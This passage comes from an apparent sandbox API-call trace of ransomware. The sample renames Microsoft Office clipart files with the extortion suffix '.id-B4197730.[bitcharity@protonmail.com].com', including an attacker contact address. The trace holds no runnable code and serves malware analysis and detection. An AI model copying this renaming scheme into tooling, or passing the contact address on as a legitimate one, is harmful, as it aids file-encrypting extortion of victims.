office\\root\\clipart\\pub60cor\\na01157_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.786] CloseHandle (hObject=0x1168) returned 1 [0257.108] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.108] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.108] CloseHandle (hObject=0x1068) returned 1 [0257.110] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.110] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.111] CloseHandle (hObject=0x1068) returned 1 [0257.112] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.112] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.112] CloseHandle (hObject=0x1068) returned 1 [0257.114] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.114] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02407_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02407_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.114] CloseHandle (hObject=0x1068) returned 1 [0257.115] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.116] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.116] CloseHandle (hObject=0x1068) returned 1 [0257.117] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.117] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.118] CloseHandle (hObject=0x1068) returned 1 [0257.195] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.195] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.195] CloseHandle (hObject=0x1068) returned 1 [0257.197] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.197] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.197] CloseHandle (hObject=0x1068) returned 1 [0257.199] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.199] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02426_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02426_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.199] CloseHandle (hObject=0x1068) returned 1 [0257.201] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.201] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.201] CloseHandle (hObject=0x1068) returned 1 [0257.217] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.218] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.218] CloseHandle (hObject=0x1068) returned 1 [0257.219] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.219] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.220] CloseHandle (hObject=0x1068) returned 1 [0257.311] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.312] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.312] CloseHandle (hObject=0x1280) returned 1 [0257.314] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.314] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02443_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.314] CloseHandle (hObject=0x1280) returned 1 [0257.316] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.316] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.316] CloseHandle (hObject=0x1280) returned 1 [0257.319] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.319] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.319] CloseHandle (hObject=0x1280) returned 1 [0257.321] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.321] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.322] CloseHandle (hObject=0x1280) returned 1 [0257.694] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.695] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02450_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02450_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.695] CloseHandle (hObject=0x118c) returned 1 [0257.696] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.697] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01160_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01160_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.697] CloseHandle (hObject=0x118c) returned 1 [0257.699] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.699] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.700] CloseHandle (hObject=0x118c) returned 1 [0257.701] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.701] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.702] CloseHandle (hObject=0x118c) returned 1 [0257.703] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.703] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.704] CloseHandle (hObject=0x118c) returned 1 [0257.705] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.705] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01797_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01797_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.707] CloseHandle (hObject=0x118c) returned 1 [0257.710] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.710] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.710] CloseHandle (hObject=0x118c) returned 1 [0257.711] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.711] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.712] CloseHandle (hObject=0x118c) returned 1 [0257.713] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.713] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.713] CloseHandle (hObject=0x118c) returned 1 [0257.719] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.720] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02263_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02263_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.720] CloseHandle (hObject=0x118c) returned 1 [0257.721] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.722] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.722] CloseHandle (hObject=0x118c) returned 1 [0257.723] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.723] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.724] CloseHandle (hObject=0x118c) returned 1 [0257.725] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.726] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.726] CloseHandle (hObject=0x118c) returned 1 [0257.728] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.728] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02278_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02278_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.728] CloseHandle (hObject=0x118c) returned 1 [0257.730] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.730] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.730] CloseHandle (hObject=0x118c) returned 